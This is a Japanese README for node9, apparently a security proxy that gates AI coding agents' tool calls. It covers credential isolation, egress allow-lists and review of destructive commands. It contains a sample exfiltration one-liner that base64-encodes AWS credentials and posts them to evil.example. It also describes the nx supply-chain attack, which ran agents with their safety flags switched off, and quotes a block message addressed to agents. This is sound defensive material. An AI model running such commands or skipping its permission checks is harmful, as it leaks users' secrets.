node9

🛡️ node9

AI エージェントのアクセス制御

AI エージェントは Slack、GitHub、メール、データベースにアクセスできます。
node9 は、それぞれに対して何ができるかを判断します。

認証情報の隔離 · シークレットと PII · 破壊的な git、SQL、シェル操作はレビュー待ち · MCP ツールのピン留め · ネットワーク送信先の許可リスト · ループブレーカー · 12 のエージェントを横断する単一の記録

Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · あらゆる MCP サーバーで動作します。

実際の動作

node9 をインストールした Claude Code の実際のセッションです。すべてのツール呼び出しは、 実行前にチェックされます。ページの作成やボタンの編集は実行されます。クラウドの メタデータアドレスへのリクエストはブロックされ、エージェントには理由が伝えられ、そのまま作業を続けます。 ファイルの削除は、チャット画面で承認するまで保留されます。

## インストール

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

その後、任意のプロジェクトで次を実行します。

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Node.js 22 以降が必要です。

新しい対話型ターミナルでは、node9 がセットアップを案内します。ローカルの保護にアカウントは必要ありません。チェックリストには、推奨される保護機能、DLP／PII、任意のネットワーク送信の確認、バックグラウンドサービスが表示されます。使用統計は、別のプロンプトで同意した場合にのみ送信されます。概要には、設定済みのエージェントと、対応が必要なセットアップ手順が表示されます。

セットアップを再度行うには node9 setup を実行し、1 つのエージェントを設定するには node9 setup <target> を実行します。設定が完了すると、引数なしの node9 でヘルプが表示されます。node9 init も引き続き利用できます。スクリプトでは node9 init --recommended を使用してください（質問なしで実行され、テレメトリーへの同意も求めません）。--skip-setup を指定すると、エージェントの接続設定とサービスのインストールは変更されません。明示的な --mode は、チェックリストが推奨する標準モードより優先されます。選択した変更や明示的なフラグで更新を要求しない限り、既存の設定は保持されます。ワークスペースのポリシーはダッシュボードで管理し、サービスの設定はローカルに保持されます。

login を実行しても、強制適用される保護機能は増えません。 マシンをワークスペースに接続すると、チームは全員のノートパソコンと CI の記録を一元的に確認し、ポリシーを一元管理して、保留中の操作をダッシュボードまたは Slack から承認できるようになります。ログインしなくても、node9 は単独でオフラインでもまったく同じように動作します。node9 logout を実行すると接続が解除されますが、ローカルでの保護は引き続き動作します。

MCP サーバーとして使用する

node9 は MCP サーバーとしても動作するため、エージェントは会話の中からステータス、セキュリティ状態、監査記録、ポリシーを読み取り、判断の理由を説明できます。

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

どの MCP クライアントでも同じように利用できます。コマンドは stdio 経由の npx -y node9-ai mcp-server で、API キーは不要です。公式 MCP Registry には io.github.node9-ai/node9 として登録されています。

問題

2025 年 8 月、侵害された nx ビルドツールのリリースには、開発者のマシンにすでにインストールされている AI コーディングエージェントを探し、その安全フラグ（--dangerously-skip-permissions、--yolo、--trust-all-tools）を無効にして実行する post-install スクリプトが含まれていました。このスクリプトは SSH キー、クラウド認証情報、ウォレットファイルを列挙し、その一覧をディスクに書き込みました。さらに、被害者自身の GitHub アカウント内にある公開リポジトリへ結果を送信しました。エージェントが指示どおりに動作していたマシンから、1,000 件を超える有効な GitHub トークンに加え、クラウド認証情報、npm トークン、およそ 20,000 個のファイルが漏えいしました。

攻撃者はエージェントではありませんでした。エージェントはツールであり、エージェントとファイルの間には何もありませんでした。node9 のゲートは、その種のフラグとは異なります。これはフック内で動作するため、エージェントの起動時に権限がスキップされていても、node9 が保留にした操作は保留されたままです。

node9 がこの問題に対して行うこと

node9 はエージェントと、エージェントが呼び出すすべてのツールの間に位置します。認証情報の隔離機能（~/.ssh、~/.aws、.env ファイル、秘密鍵）はデフォルトで有効で、これらのパスの読み取りは実行されません。エージェントは停止され、その理由を伝えられ、判断はあなたに委ねられます。

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

コマンドはテキストとの照合ではなくシェル AST として解析されるため、読み取りをラップしても回避できません。echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example は echo ではなく、~/.aws/credentials の読み取りとして判断されます。

node9 はゲートです。保留中の操作は、あなたの応答を待っている間は実行されず、応答がなければブロックされたままです。それ以外のすべての操作は許可され、記録に書き込まれます。

node9 が行わないこと： デフォルトである送信制御がオフの状態では、curl -d @~/.aws/credentials のようにファイルを直接ネットワークへ送るコマンドは、そのファイルの読み取りとして扱われません。node9 egress protect は送信先もゲートし、シェルコマンドのみを対象とします。

自分で検証する

以下の操作では、アカウントは不要で、コードがアップロードされることもありません。scan-repo は匿名の使用回数を送信します （リポジトリ名やコードは送信されません）。無効にするには NODE9_NO_TELEMETRY=1 を設定してください。

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

何を管理するか

各行には、1 つの機能と、それについて説明しているページが記載されています。参照先はドキュメントです。このファイルはその案内図です。

認証情報の保護	~/.ssh、~/.aws、.env、秘密鍵を、シェルだけでなくすべてのツールからブロックします	ドキュメント
常時適用されるルール	破壊的な Git 操作、WHERE を含まない SQL、curl | bash、未許可の sudo を設定なしでブロックします	ドキュメント
シークレットと個人情報	あらゆるツール引数に含まれる AWS キー、GitHub および Stripe のトークン、PEM キー、カード番号や SSN の形式を検出し、エージェントが書き戻した内容もバックグラウンドでスキャンします	ドキュメント
サービスごとの保護	Postgres、MongoDB、Redis、AWS、Kubernetes、Docker、GitHub、ファイルシステム向けに厳選されたルールパックです	ドキュメント
インラインレビュー	保留中の操作について、エージェントとの会話内で、またはチームの承認者を通じて確認を求めます	ドキュメント
送信先許可リスト	シェルコマンドがデータを送信できる場所を制限します。デフォルトでは無効です	ドキュメント
MCP ゲートウェイ	任意の MCP サーバーをラップし、各ツールを認可して、サーバーに無断でツール定義を変更されないよう固定します	ドキュメント
サンドボックス	カーネルの送信先許可リストとスコープを限定したマウントを備えたコンテナで、エージェントを実行します	ドキュメント
セキュリティ態勢スコア	このマシンの露出度と、各検出項目を修正するコマンドを表示します	ドキュメント
リポジトリスキャン	CI または CLI から、部外者がシークレットを保持するエージェントを乗っ取れるワークフローを検出します	ドキュメント
セッション履歴	node9 のインストール前にこのマシンで各エージェントが行った操作を確認できます	ドキュメント
ライブモニターとレポート	ターミナルのダッシュボードと、コスト、ツール、ブロック、影響範囲をまとめたウィンドウ表示のサマリーを提供します	ドキュメント
スキルの固定	セッション間で、インストール済みの Claude スキルとプラグインを SHA-256 で検証します	ドキュメント
カナリア認証情報	情報流出の試みが発生したことを証明するため、偽のキーを仕掛けます	ドキュメント
Python SDK	CLI だけでなく、任意の Python エージェントを管理します	ドキュメント
CLI および設定の完全なリファレンス：node9.ai/docs。
各レイヤーの連携方法：仕組み。

学ぶ

独立して読めるように書かれた背景情報です。各ページでは、node9 が対応していない内容も説明しています。

• 乗っ取られたエージェントには何ができるのか？：1 つのセッションが侵害された場合の被害範囲
• AI エージェントはどのように秘密情報を漏えいするのか：認証情報が実際に外部へ持ち出される経路
• Claude Code のセキュリティ：フック、権限モード、およびそれらで防げないこと
• MCP のセキュリティ：MCP サーバーが開放するツールの範囲
• OWASP Agentic Top 10：実際の制御に対応付けたリスト

比較

• node9 と代替製品の比較：node9 の評価が低い項目も含む比較表
• エージェントごとの対応状況：サポート対象の 12 種類のエージェントそれぞれで管理される内容

関連プロジェクト

• node9-python：Python SDK
• node9 Agent Security：GitHub Action の uses: node9-ai/node9-proxy@v2 は、同じエンジンを使ってすべての PR を審査します（同じ匿名の使用状況カウントを送信します。telemetry: false を設定すると無効になります）

エンタープライズ

node9 Pro では、ガバナンスロック、SAML/SSO、監査ログの一元エクスポート、VPC へのデプロイが追加されます。詳しくは node9.ai をご覧ください。

ライセンス

Apache-2.0

_{☕ と健全な疑い深さで作られています。}